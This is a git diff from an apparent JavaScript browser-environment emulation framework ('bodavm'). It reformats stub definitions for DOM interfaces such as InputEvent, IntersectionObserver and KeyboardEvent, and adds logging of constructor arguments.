"InputDeviceCapabilities", "firesTouchEvents_get", arguments)}, set:undefined},'prototype'); +// InputDeviceCapabilities对象 + +bodavm.memory.globalobj['InputDeviceCapabilities'] = function InputDeviceCapabilities() { + console.log_copy('InputDeviceCapabilities 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + this._boarg = new bodaobj.window.InputDeviceCapabilities(); + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['InputDeviceCapabilities'], "InputDeviceCapabilities"); +bodavm.toolsFunc.defineProperty('InputDeviceCapabilities', "firesTouchEvents", { + configurable: true, + enumerable: true, + get: function firesTouchEvents() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['InputDeviceCapabilities'].prototype, "InputDeviceCapabilities", "firesTouchEvents_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/InputDeviceInfo.js b/env_xbb_lastest_jsdom/env/InputDeviceInfo.js index 8ac23361..0adf7645 100644 --- a/env_xbb_lastest_jsdom/env/InputDeviceInfo.js +++ b/env_xbb_lastest_jsdom/env/InputDeviceInfo.js @@ -1,6 +1,27 @@ -// InputDeviceInfo对象 -bodavm.memory.globalobj['InputDeviceInfo'] = function InputDeviceInfo(){if (!(this instanceof InputDeviceInfo)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['InputDeviceInfo'], "InputDeviceInfo"); -bodavm.memory.globalobj['InputDeviceInfo'].prototype.__proto__=bodavm.memory.globalobj['MediaDeviceInfo'].prototype; -bodavm.memory.globalobj['InputDeviceInfo'].__proto__=bodavm.memory.globalobj['MediaDeviceInfo']; -bodavm.toolsFunc.defineProperty('InputDeviceInfo', "getCapabilities", {configurable:true, enumerable:true, writable:true, value:function getCapabilities (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['InputDeviceInfo'].prototype, "InputDeviceInfo", "getCapabilities", arguments)}},'prototype'); +// InputDeviceInfo对象 + +bodavm.memory.globalobj['InputDeviceInfo'] = function InputDeviceInfo() { + console.log_copy('InputDeviceInfo 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof InputDeviceInfo)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['InputDeviceInfo'], "InputDeviceInfo"); +bodavm.memory.globalobj['InputDeviceInfo'].prototype.__proto__ = bodavm.memory.globalobj['MediaDeviceInfo'].prototype; +bodavm.memory.globalobj['InputDeviceInfo'].__proto__ = bodavm.memory.globalobj['MediaDeviceInfo']; +bodavm.toolsFunc.defineProperty('InputDeviceInfo', "getCapabilities", { + configurable: true, + enumerable: true, + writable: true, + value: function getCapabilities() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['InputDeviceInfo'].prototype, "InputDeviceInfo", "getCapabilities", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/InputEvent.js b/env_xbb_lastest_jsdom/env/InputEvent.js index eb58422d..66d7707a 100644 --- a/env_xbb_lastest_jsdom/env/InputEvent.js +++ b/env_xbb_lastest_jsdom/env/InputEvent.js @@ -1,10 +1,59 @@ -// InputEvent对象 -bodavm.memory.globalobj['InputEvent'] = function InputEvent(){if (!(this instanceof InputEvent)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'InputEvent': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['InputEvent'], "InputEvent"); -bodavm.memory.globalobj['InputEvent'].prototype.__proto__=bodavm.memory.globalobj['UIEvent'].prototype; -bodavm.memory.globalobj['InputEvent'].__proto__=bodavm.memory.globalobj['UIEvent']; -bodavm.toolsFunc.defineProperty('InputEvent', "data", {configurable:true, enumerable:true, get:function data (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['InputEvent'].prototype, "InputEvent", "data_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('InputEvent', "isComposing", {configurable:true, enumerable:true, get:function isComposing (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['InputEvent'].prototype, "InputEvent", "isComposing_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('InputEvent', "inputType", {configurable:true, enumerable:true, get:function inputType (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['InputEvent'].prototype, "InputEvent", "inputType_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('InputEvent', "dataTransfer", {configurable:true, enumerable:true, get:function dataTransfer (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['InputEvent'].prototype, "InputEvent", "dataTransfer_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('InputEvent', "getTargetRanges", {configurable:true, enumerable:true, writable:true, value:function getTargetRanges (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['InputEvent'].prototype, "InputEvent", "getTargetRanges", arguments)}},'prototype'); +// InputEvent对象 + +bodavm.memory.globalobj['InputEvent'] = function InputEvent() { + console.log_copy('InputEvent 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof InputEvent)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'InputEvent': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['InputEvent'], "InputEvent"); +bodavm.memory.globalobj['InputEvent'].prototype.__proto__ = bodavm.memory.globalobj['UIEvent'].prototype; +bodavm.memory.globalobj['InputEvent'].__proto__ = bodavm.memory.globalobj['UIEvent']; +bodavm.toolsFunc.defineProperty('InputEvent', "data", { + configurable: true, + enumerable: true, + get: function data() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['InputEvent'].prototype, "InputEvent", "data_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('InputEvent', "isComposing", { + configurable: true, + enumerable: true, + get: function isComposing() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['InputEvent'].prototype, "InputEvent", "isComposing_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('InputEvent', "inputType", { + configurable: true, + enumerable: true, + get: function inputType() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['InputEvent'].prototype, "InputEvent", "inputType_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('InputEvent', "dataTransfer", { + configurable: true, + enumerable: true, + get: function dataTransfer() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['InputEvent'].prototype, "InputEvent", "dataTransfer_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('InputEvent', "getTargetRanges", { + configurable: true, + enumerable: true, + writable: true, + value: function getTargetRanges() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['InputEvent'].prototype, "InputEvent", "getTargetRanges", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/IntersectionObserver.js b/env_xbb_lastest_jsdom/env/IntersectionObserver.js index e7d04042..a73f6484 100644 --- a/env_xbb_lastest_jsdom/env/IntersectionObserver.js +++ b/env_xbb_lastest_jsdom/env/IntersectionObserver.js @@ -1,12 +1,89 @@ -// IntersectionObserver对象 -bodavm.memory.globalobj['IntersectionObserver'] = function IntersectionObserver(){if (!(this instanceof IntersectionObserver)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'IntersectionObserver': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['IntersectionObserver'], "IntersectionObserver"); -bodavm.toolsFunc.defineProperty('IntersectionObserver', "root", {configurable:true, enumerable:true, get:function root (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IntersectionObserver'].prototype, "IntersectionObserver", "root_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('IntersectionObserver', "rootMargin", {configurable:true, enumerable:true, get:function rootMargin (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IntersectionObserver'].prototype, "IntersectionObserver", "rootMargin_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('IntersectionObserver', "thresholds", {configurable:true, enumerable:true, get:function thresholds (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IntersectionObserver'].prototype, "IntersectionObserver", "thresholds_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('IntersectionObserver', "delay", {configurable:true, enumerable:true, get:function delay (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IntersectionObserver'].prototype, "IntersectionObserver", "delay_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('IntersectionObserver', "trackVisibility", {configurable:true, enumerable:true, get:function trackVisibility (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IntersectionObserver'].prototype, "IntersectionObserver", "trackVisibility_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('IntersectionObserver', "disconnect", {configurable:true, enumerable:true, writable:true, value:function disconnect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IntersectionObserver'].prototype, "IntersectionObserver", "disconnect", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('IntersectionObserver', "observe", {configurable:true, enumerable:true, writable:true, value:function observe (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IntersectionObserver'].prototype, "IntersectionObserver", "observe", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('IntersectionObserver', "takeRecords", {configurable:true, enumerable:true, writable:true, value:function takeRecords (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IntersectionObserver'].prototype, "IntersectionObserver", "takeRecords", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('IntersectionObserver', "unobserve", {configurable:true, enumerable:true, writable:true, value:function unobserve (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IntersectionObserver'].prototype, "IntersectionObserver", "unobserve", arguments)}},'prototype'); +// IntersectionObserver对象 + +bodavm.memory.globalobj['IntersectionObserver'] = function IntersectionObserver() { + console.log_copy('IntersectionObserver 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof IntersectionObserver)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'IntersectionObserver': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['IntersectionObserver'], "IntersectionObserver"); +bodavm.toolsFunc.defineProperty('IntersectionObserver', "root", { + configurable: true, + enumerable: true, + get: function root() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IntersectionObserver'].prototype, "IntersectionObserver", "root_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IntersectionObserver', "rootMargin", { + configurable: true, + enumerable: true, + get: function rootMargin() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IntersectionObserver'].prototype, "IntersectionObserver", "rootMargin_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IntersectionObserver', "thresholds", { + configurable: true, + enumerable: true, + get: function thresholds() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IntersectionObserver'].prototype, "IntersectionObserver", "thresholds_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IntersectionObserver', "delay", { + configurable: true, + enumerable: true, + get: function delay() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IntersectionObserver'].prototype, "IntersectionObserver", "delay_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IntersectionObserver', "trackVisibility", { + configurable: true, + enumerable: true, + get: function trackVisibility() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IntersectionObserver'].prototype, "IntersectionObserver", "trackVisibility_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IntersectionObserver', "disconnect", { + configurable: true, + enumerable: true, + writable: true, + value: function disconnect() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IntersectionObserver'].prototype, "IntersectionObserver", "disconnect", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IntersectionObserver', "observe", { + configurable: true, + enumerable: true, + writable: true, + value: function observe() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IntersectionObserver'].prototype, "IntersectionObserver", "observe", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IntersectionObserver', "takeRecords", { + configurable: true, + enumerable: true, + writable: true, + value: function takeRecords() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IntersectionObserver'].prototype, "IntersectionObserver", "takeRecords", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IntersectionObserver', "unobserve", { + configurable: true, + enumerable: true, + writable: true, + value: function unobserve() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IntersectionObserver'].prototype, "IntersectionObserver", "unobserve", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/IntersectionObserverEntry.js b/env_xbb_lastest_jsdom/env/IntersectionObserverEntry.js index 85f6e631..f118e273 100644 --- a/env_xbb_lastest_jsdom/env/IntersectionObserverEntry.js +++ b/env_xbb_lastest_jsdom/env/IntersectionObserverEntry.js @@ -1,11 +1,81 @@ -// IntersectionObserverEntry对象 -bodavm.memory.globalobj['IntersectionObserverEntry'] = function IntersectionObserverEntry(){if (!(this instanceof IntersectionObserverEntry)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['IntersectionObserverEntry'], "IntersectionObserverEntry"); -bodavm.toolsFunc.defineProperty('IntersectionObserverEntry', "time", {configurable:true, enumerable:true, get:function time (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IntersectionObserverEntry'].prototype, "IntersectionObserverEntry", "time_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('IntersectionObserverEntry', "rootBounds", {configurable:true, enumerable:true, get:function rootBounds (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IntersectionObserverEntry'].prototype, "IntersectionObserverEntry", "rootBounds_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('IntersectionObserverEntry', "boundingClientRect", {configurable:true, enumerable:true, get:function boundingClientRect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IntersectionObserverEntry'].prototype, "IntersectionObserverEntry", "boundingClientRect_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('IntersectionObserverEntry', "intersectionRect", {configurable:true, enumerable:true, get:function intersectionRect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IntersectionObserverEntry'].prototype, "IntersectionObserverEntry", "intersectionRect_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('IntersectionObserverEntry', "isIntersecting", {configurable:true, enumerable:true, get:function isIntersecting (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IntersectionObserverEntry'].prototype, "IntersectionObserverEntry", "isIntersecting_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('IntersectionObserverEntry', "isVisible", {configurable:true, enumerable:true, get:function isVisible (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IntersectionObserverEntry'].prototype, "IntersectionObserverEntry", "isVisible_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('IntersectionObserverEntry', "intersectionRatio", {configurable:true, enumerable:true, get:function intersectionRatio (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IntersectionObserverEntry'].prototype, "IntersectionObserverEntry", "intersectionRatio_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('IntersectionObserverEntry', "target", {configurable:true, enumerable:true, get:function target (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IntersectionObserverEntry'].prototype, "IntersectionObserverEntry", "target_get", arguments)}, set:undefined},'prototype'); +// IntersectionObserverEntry对象 + +bodavm.memory.globalobj['IntersectionObserverEntry'] = function IntersectionObserverEntry() { + console.log_copy('IntersectionObserverEntry 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof IntersectionObserverEntry)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['IntersectionObserverEntry'], "IntersectionObserverEntry"); +bodavm.toolsFunc.defineProperty('IntersectionObserverEntry', "time", { + configurable: true, + enumerable: true, + get: function time() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IntersectionObserverEntry'].prototype, "IntersectionObserverEntry", "time_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IntersectionObserverEntry', "rootBounds", { + configurable: true, + enumerable: true, + get: function rootBounds() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IntersectionObserverEntry'].prototype, "IntersectionObserverEntry", "rootBounds_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IntersectionObserverEntry', "boundingClientRect", { + configurable: true, + enumerable: true, + get: function boundingClientRect() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IntersectionObserverEntry'].prototype, "IntersectionObserverEntry", "boundingClientRect_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IntersectionObserverEntry', "intersectionRect", { + configurable: true, + enumerable: true, + get: function intersectionRect() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IntersectionObserverEntry'].prototype, "IntersectionObserverEntry", "intersectionRect_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IntersectionObserverEntry', "isIntersecting", { + configurable: true, + enumerable: true, + get: function isIntersecting() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IntersectionObserverEntry'].prototype, "IntersectionObserverEntry", "isIntersecting_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IntersectionObserverEntry', "isVisible", { + configurable: true, + enumerable: true, + get: function isVisible() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IntersectionObserverEntry'].prototype, "IntersectionObserverEntry", "isVisible_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IntersectionObserverEntry', "intersectionRatio", { + configurable: true, + enumerable: true, + get: function intersectionRatio() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IntersectionObserverEntry'].prototype, "IntersectionObserverEntry", "intersectionRatio_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IntersectionObserverEntry', "target", { + configurable: true, + enumerable: true, + get: function target() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IntersectionObserverEntry'].prototype, "IntersectionObserverEntry", "target_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/Keyboard.js b/env_xbb_lastest_jsdom/env/Keyboard.js index 23b7df53..c1cdb664 100644 --- a/env_xbb_lastest_jsdom/env/Keyboard.js +++ b/env_xbb_lastest_jsdom/env/Keyboard.js @@ -1,6 +1,41 @@ -// Keyboard对象 -bodavm.memory.globalobj['Keyboard'] = function Keyboard(){if (!(this instanceof Keyboard)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Keyboard'], "Keyboard"); -bodavm.toolsFunc.defineProperty('Keyboard', "getLayoutMap", {configurable:true, enumerable:true, writable:true, value:function getLayoutMap (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Keyboard'].prototype, "Keyboard", "getLayoutMap", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Keyboard', "lock", {configurable:true, enumerable:true, writable:true, value:function lock (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Keyboard'].prototype, "Keyboard", "lock", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Keyboard', "unlock", {configurable:true, enumerable:true, writable:true, value:function unlock (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Keyboard'].prototype, "Keyboard", "unlock", arguments)}},'prototype'); +// Keyboard对象 + +bodavm.memory.globalobj['Keyboard'] = function Keyboard() { + console.log_copy('Keyboard 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof Keyboard)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Keyboard'], "Keyboard"); +bodavm.toolsFunc.defineProperty('Keyboard', "getLayoutMap", { + configurable: true, + enumerable: true, + writable: true, + value: function getLayoutMap() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Keyboard'].prototype, "Keyboard", "getLayoutMap", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Keyboard', "lock", { + configurable: true, + enumerable: true, + writable: true, + value: function lock() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Keyboard'].prototype, "Keyboard", "lock", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Keyboard', "unlock", { + configurable: true, + enumerable: true, + writable: true, + value: function unlock() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Keyboard'].prototype, "Keyboard", "unlock", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/KeyboardEvent.js b/env_xbb_lastest_jsdom/env/KeyboardEvent.js index c20c8d23..1cc21167 100644 --- a/env_xbb_lastest_jsdom/env/KeyboardEvent.js +++ b/env_xbb_lastest_jsdom/env/KeyboardEvent.js @@ -1,26 +1,171 @@ -// KeyboardEvent对象 -bodavm.memory.globalobj['KeyboardEvent'] = function KeyboardEvent(){if (!(this instanceof KeyboardEvent)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'KeyboardEvent': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['KeyboardEvent'], "KeyboardEvent"); -bodavm.memory.globalobj['KeyboardEvent'].prototype.__proto__=bodavm.memory.globalobj['UIEvent'].prototype; -bodavm.memory.globalobj['KeyboardEvent'].__proto__=bodavm.memory.globalobj['UIEvent']; -bodavm.toolsFunc.defineProperty('KeyboardEvent', "DOM_KEY_LOCATION_STANDARD", {configurable:false, enumerable:true, writable:false, value:0}); -bodavm.toolsFunc.defineProperty('KeyboardEvent', "DOM_KEY_LOCATION_LEFT", {configurable:false, enumerable:true, writable:false, value:1}); -bodavm.toolsFunc.defineProperty('KeyboardEvent', "DOM_KEY_LOCATION_RIGHT", {configurable:false, enumerable:true, writable:false, value:2}); -bodavm.toolsFunc.defineProperty('KeyboardEvent', "DOM_KEY_LOCATION_NUMPAD", {configurable:false, enumerable:true, writable:false, value:3}); -bodavm.toolsFunc.defineProperty('KeyboardEvent', "key", {configurable:true, enumerable:true, get:function key (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['KeyboardEvent'].prototype, "KeyboardEvent", "key_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('KeyboardEvent', "code", {configurable:true, enumerable:true, get:function code (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['KeyboardEvent'].prototype, "KeyboardEvent", "code_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('KeyboardEvent', "location", {configurable:true, enumerable:true, get:function location (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['KeyboardEvent'].prototype, "KeyboardEvent", "location_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('KeyboardEvent', "ctrlKey", {configurable:true, enumerable:true, get:function ctrlKey (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['KeyboardEvent'].prototype, "KeyboardEvent", "ctrlKey_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('KeyboardEvent', "shiftKey", {configurable:true, enumerable:true, get:function shiftKey (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['KeyboardEvent'].prototype, "KeyboardEvent", "shiftKey_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('KeyboardEvent', "altKey", {configurable:true, enumerable:true, get:function altKey (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['KeyboardEvent'].prototype, "KeyboardEvent", "altKey_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('KeyboardEvent', "metaKey", {configurable:true, enumerable:true, get:function metaKey (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['KeyboardEvent'].prototype, "KeyboardEvent", "metaKey_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('KeyboardEvent', "repeat", {configurable:true, enumerable:true, get:function repeat (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['KeyboardEvent'].prototype, "KeyboardEvent", "repeat_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('KeyboardEvent', "isComposing", {configurable:true, enumerable:true, get:function isComposing (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['KeyboardEvent'].prototype, "KeyboardEvent", "isComposing_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('KeyboardEvent', "charCode", {configurable:true, enumerable:true, get:function charCode (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['KeyboardEvent'].prototype, "KeyboardEvent", "charCode_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('KeyboardEvent', "keyCode", {configurable:true, enumerable:true, get:function keyCode (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['KeyboardEvent'].prototype, "KeyboardEvent", "keyCode_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('KeyboardEvent', "DOM_KEY_LOCATION_STANDARD", {configurable:false, enumerable:true, writable:false, value:0},'prototype'); -bodavm.toolsFunc.defineProperty('KeyboardEvent', "DOM_KEY_LOCATION_LEFT", {configurable:false, enumerable:true, writable:false, value:1},'prototype'); -bodavm.toolsFunc.defineProperty('KeyboardEvent', "DOM_KEY_LOCATION_RIGHT", {configurable:false, enumerable:true, writable:false, value:2},'prototype'); -bodavm.toolsFunc.defineProperty('KeyboardEvent', "DOM_KEY_LOCATION_NUMPAD", {configurable:false, enumerable:true, writable:false, value:3},'prototype'); -bodavm.toolsFunc.defineProperty('KeyboardEvent', "getModifierState", {configurable:true, enumerable:true, writable:true, value:function getModifierState (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['KeyboardEvent'].prototype, "KeyboardEvent", "getModifierState", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('KeyboardEvent', "initKeyboardEvent", {configurable:true, enumerable:true, writable:true, value:function initKeyboardEvent (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['KeyboardEvent'].prototype, "KeyboardEvent", "initKeyboardEvent", arguments)}},'prototype'); +// KeyboardEvent对象 + +bodavm.memory.globalobj['KeyboardEvent'] = function KeyboardEvent() { + console.log_copy('KeyboardEvent 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof KeyboardEvent)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'KeyboardEvent': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['KeyboardEvent'], "KeyboardEvent"); +bodavm.memory.globalobj['KeyboardEvent'].prototype.__proto__ = bodavm.memory.globalobj['UIEvent'].prototype; +bodavm.memory.globalobj['KeyboardEvent'].__proto__ = bodavm.memory.globalobj['UIEvent']; +bodavm.toolsFunc.defineProperty('KeyboardEvent', "DOM_KEY_LOCATION_STANDARD", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}); +bodavm.toolsFunc.defineProperty('KeyboardEvent', "DOM_KEY_LOCATION_LEFT", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}); +bodavm.toolsFunc.defineProperty('KeyboardEvent', "DOM_KEY_LOCATION_RIGHT", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}); +bodavm.toolsFunc.defineProperty('KeyboardEvent', 